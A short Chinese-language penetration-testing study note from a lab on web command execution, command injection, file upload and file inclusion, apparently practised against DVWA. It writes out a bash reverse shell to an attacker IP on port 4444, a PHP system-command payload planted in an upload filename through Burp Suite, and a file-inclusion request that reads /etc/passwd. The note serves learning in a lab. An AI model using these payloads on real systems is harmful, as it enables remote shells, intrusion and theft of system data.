kali渗透测试与教学笔记5：

web命令执行、命令注入和文件上传漏洞

如：

• sudo bash -i > & /dev/tcp/攻击机IP（192.168.208.154）/4444 0>&1
• burpsuite截获数据包。点击“ACTION”，选择“Send to Repeater”

在Repeater标签下，对数据包进行修改。把filename=“<?php system('uname -a');die();?>.php”

• 文件包含和文件上传漏洞

实验地址：http://10.10.10.129/dvwa/vulnerabilities/fi/?page=include.php

将page=后面的参数改为：/etc/passwd，执行即可返回系统的用户情况

实际比这个复杂的多。这个漏洞不但是文件包含，还是RFI：远程文件包含，允许攻击者执行远程主机文件。

也可以在msfconsole中，搜索与wordpress博客web应用相关的flash gallery wordpress plugin进行攻击